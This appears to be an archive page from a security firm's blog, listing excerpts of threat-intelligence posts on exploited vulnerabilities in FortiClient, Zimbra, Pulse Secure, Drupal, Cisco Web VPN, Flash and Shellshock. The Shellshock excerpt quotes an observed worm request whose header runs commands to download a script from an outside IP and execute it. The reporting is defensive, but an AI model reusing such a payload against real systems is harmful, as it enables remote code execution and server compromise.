KEY TAKEAWAYS Volexity discovered and reported a vulnerability in Fortinet’s Windows VPN client, FortiClient, where user credentials remain in process memory after a user authenticates to the VPN. This vulnerability was abused by BrazenBamboo in their DEEPDATA malware. BrazenBamboo is the threat actor behind development of the LIGHTSPY malware family. LIGHTSPY variants have been discovered for all major operating systems, including iOS, and Volexity has recently discovered a new Windows variant. In July 2024, Volexity identified exploitation of a zero-day credential disclosure vulnerability in Fortinet’s Windows VPN client that allowed credentials to be stolen from the memory of the client’s process. This vulnerability was discovered while analyzing a recent sample of the DEEPDATA malware family. DEEPDATA is a modular post-exploitation tool for the Windows operating system that is used to gather a wide range of information from target devices. Analysis of the sample revealed a plugin that was designed to […]
exploits
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BrazenBamboo Weaponizes FortiClient Vulnerability to Steal VPN Credentials via DEEPDATA
November 15, 2024
by Callum Roxan, Charlie Gardner, Paul Rascagneres
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Operation EmailThief: Active Exploitation of Zero-day XSS Vulnerability in Zimbra
February 3, 2022
by Steven Adair, Thomas Lancaster
[UPDATE] On February 4, 2022, Zimbra provided an update regarding this zero-day exploit vulnerability and reported that a hotfix for 8.8.15 P30 would be available on February 5, 2022. This vulnerability was later assigned CVE-2022-24682 and was fixed in version 8.8.15P30 Update 2 of Zimbra Collaboration Suite. In December 2021, through its Network Security Monitoring service, Volexity identified a series of targeted spear-phishing campaigns against one of its customers from a threat actor it tracks as TEMP_Heretic. Analysis of the emails from these spear phishing campaigns led to a discovery: the attacker was attempting to exploit a zero-day cross-site scripting (XSS) vulnerability in the Zimbra email platform. Zimbra is an open source email platform often used by organizations as an alternative to Microsoft Exchange. The campaigns came in multiple waves across two attack phases. The initial phase was aimed at reconnaissance and involved emails designed to simply track if a target […]
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North Korean APT InkySquid Infects Victims Using Browser Exploits
August 17, 2021
by Damien Cash, Josh Grunzweig, Matthew Meltzer, Steven Adair, Thomas Lancaster
Volexity recently investigated a strategic web compromise (SWC) of the website of the Daily NK (www.dailynk[.]com), a South Korean online newspaper that focuses on issues relating to North Korea. Malicious code on the Daily NK website was observed from at least late March 2021 until early June 2021. This post provides details on the different exploits used in the SWC, as well as the payload used, which Volexity calls BLUELIGHT. Volexity attributes the activity described in this post to a threat actor Volexity refers to as InkySquid, which broadly corresponds to activity known publicly under the monikers ScarCruft and APT37. SWC Activity In April 2021, through its network security monitoring on a customer network, Volexity identified suspicious code being loaded via www.dailynk[.]com to malicious subdomains of jquery[.]services. Examples of URLs observed loading malicious code include the following: hxxps://www.dailynk[.]com/wp-includes/js/jquery/jquery.min.js?ver=3.5.1 hxxps://www.dailynk[.]com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2 These URLs lead to legitimate files used as part of the […]
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Vulnerable Private Networks: Corporate VPNs Exploited in the Wild
September 11, 2019
by Sean Koessel, Steven Adair
The details of multiple, critical Pulse Secure SSL VPN vulnerabilities are well known; they were disclosed in detail by two security researchers as part of a talk at Black Hat USA 2019 on August 7, 2019. What has not been widely covered, but should come as no surprise, is that APT actors have been actively exploiting these vulnerabilities in order to gain access to targeted networks. The vulnerability being exploited is CVE-2019-11510, which allows a remote unauthenticated attacker to send specially crafted requests that allow read access of arbitrary files on the Pulse Secure VPN. This includes access to databases that the VPN server uses to track sessions, cleartext credentials, and NTLM hashes. Volexity has observed multiple attackers exploiting this vulnerability starting approximately a week after the talk was given. Volexity has worked on multiple incidents where networks, whose remote access is protected by two-factor authentication (2FA), have been intruded upon. […]
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Drupalgeddon 2: Profiting from Mass Exploitation
April 16, 2018
by Matthew Meltzer, Steven Adair
On March 28, 2018, a patch for a highly critical vulnerability, which facilitates remote code execution against the Drupal content management system was released. The vulnerability was identified by Jasper Mattson of Druid and is covered by SA-2018-002 and CVE-2018-7600. Prior to the release of the patch, Drupal had given advanced notice of its impending release and potential consequences tied to the ease of the vulnerability’s exploitation. This sparked concerns of a new “Drupalgeddon”, where a large number of unpatched websites would be compromised. This comes on the heels of a major Drupal vulnerability from October 2014 that was widely exploited by advanced persistent threat (APT) actors and criminals that Volexity detailed in a previous blog post title Drupal Vulnerability: Mass Scans & Targeted Exploitation. In a post dated April 13, 2018, the Drupal team stated the following: The security team is now aware of automated attacks attempting to compromise Drupal […]
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Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence
October 7, 2015
by Volexity
In the world of information security, there is never a dull moment. Part of the fun of working in this space is that you always get to see attackers do something new or put a new spin on something old. Last month at the CERT-EU Conference in Brussels, Belgium, Volexity gave a presentation on a recent evolution in how attackers are maintaining persistence within victim networks. The method, which involves modifying the login pages to Cisco Clientless SSL VPNs (Web VPN), is both novel and surprisingly obvious at the same time. Attackers have been able to successfully implant JavaScript code on the login pages that enables them to surreptitiously steal employee credentials as they login to access internal corporate resources. Whether you are proactively monitoring your network or reactively undergoing an incident response, one of the last places you might examine for backdoors are your firewalls and VPN gateway appliances. […]
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APT Group Wekby Leveraging Adobe Flash Exploit (CVE-2015-5119)
July 8, 2015
by Volexity
As if the recent breach and subsequent public data dump involving the Italian company Hacking Team wasn’t bad enough, it all gets just a little bit worse. Emerging from the bowels of Hacking Team data dump was a Flash 0-day exploit (CVE-2015-5119) that was just patched today by Adobe as covered in APSB15-16. The exploit has since been added into the Angler Exploit Kit and integrated into Metasploit. However, not to be out done, APT attackers have also started leveraging the exploit in targeted spear phishing attacks as well. Before we start dishing the details, there is going to be one main takeaway from this blog post: If you haven’t already, update/patch your Adobe Flash now. Spear Phishing This morning, a well known APT threat group, often referred to as Wekby, kicked off a rather ironic spear phishing campaign. The attackers launched spoofed e-mail messages purporting to be from Adobe. […]
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Afghan Government Compromise: Browser Beware
June 12, 2015
by Volexity
Visiting a wide-ranging number of websites associated with the Government of Afghanistan may yield visitors an unwanted surprise. For the second time this year, malicious code has surfaced on, cdn.afghanistan.af, a host that serves as a content delivery network (CDN) for the Afghan government. Javascript code from this system is found on several different Afghan Offices, Ministries, and Authorities. This strategic web compromise (SWC) against the Afghan CDN server has effectively turned a large portion of the government’s websites into attack surfaces against visitors. Volexity recently detected malicious code being loaded after a user visited the websites for the President of Afghanistan (www.president.gov.af). Second Round of Attacks In a previous attack highlighted earlier in the year by ThreatConnect. One of the two primary Javascript files accessed from the CDN system was modified to load code from two different malicious URLs. In the past attacks, the following file was modified to […]
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A New Shellshock Worm on the Loose
April 9, 2015
by Volexity
In a blog post from September last year, we described some of the early Shellshock activity we were seeing in the wild. Since then we have continued to observe periodic scanning, which have by in large not been particularly noteworthy. That remained the case until just a little bit ago. Starting late in the afternoon on April 8, 2015, the frequency and breadth of scanning observed by Volexity increased fairly dramatically. A closer look at the activity reveals that a worm (of sorts) has been set loose on the Internet looking for vulnerable hosts to exploit over HTTP. The inbound requests that have been observed look like this: GET HTTP/1.1 HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: () { :;};/usr/bin/perl -e ‘print “Content-Type: text/plain\r\n\r\nXSUCCESS!”;system(“cd /tmp;cd /var/tmp;rm -rf .c.txt;rm -rf .d.txt ; wget http://109.228.25.87/.c.txt ; curl -O http://109.228.25.87/.c.txt ; fetch http://109.228.25.87/.c.txt ; lwp-download http://109.228.25.87/.c.txt; chmod +x .c.txt* ; sh […]
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Drupal Vulnerability: Mass Scans & Targeted Exploitation
October 16, 2014
by Volexity
Yesterday (October 15, 2014), a critical SQL injection vulnerability in version 7 of the popular open source content management system (CMS) Drupal was disclosed by Stefan Horst and detailed in SA-CORE-2014-005. The description of the vulnerability is rather harrowing: Drupal 7 includes a database abstraction API to ensure that queries executed against the database are sanitized to prevent SQL injection attacks. A vulnerability in this API allows an attacker to send specially crafted requests resulting in arbitrary SQL execution. Depending on the content of the requests this can lead to privilege escalation, arbitrary PHP execution, or other attacks. This vulnerability can be exploited by anonymous users. If you think this sounds pretty bad, you are spot on. Along with the advisory, a patch was released to fix the security issue. Unfortunately, patches are also often leveraged to identify exactly how to exploit such vulnerabilities. In this case, it was only […]